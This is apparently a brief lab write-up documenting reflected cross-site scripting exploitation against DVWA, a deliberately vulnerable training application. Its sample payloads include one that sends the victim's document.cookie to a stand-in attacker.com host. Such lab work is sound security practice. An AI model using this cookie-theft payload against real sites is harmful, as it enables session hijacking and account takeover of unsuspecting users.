# Cross-Site Scripting (XSS) Exploitation – DVWA

## Overview

This section documents the exploitation of Cross-Site Scripting (XSS) vulnerabilities in DVWA at high security level.

The objective was to inject malicious JavaScript payloads to demonstrate session hijacking and cookie theft.

## Tools Used

- Burp Suite (for payload injection and interception)

- Custom payloads crafted manually

## Techniques Applied

- Reflected XSS via form input

- Cookie theft using document.cookie

- Redirect to attacker-controlled server

## Sample Payloads

- `<img src=x onerror="alert('XSS Exploited')">`

- `<svg onload="document.location='http://attacker.com?cookie='+document.cookie">`

## Screenshots

Screenshots of successful XSS execution and cookie exfiltration are stored in the `/screenshots` folder.

---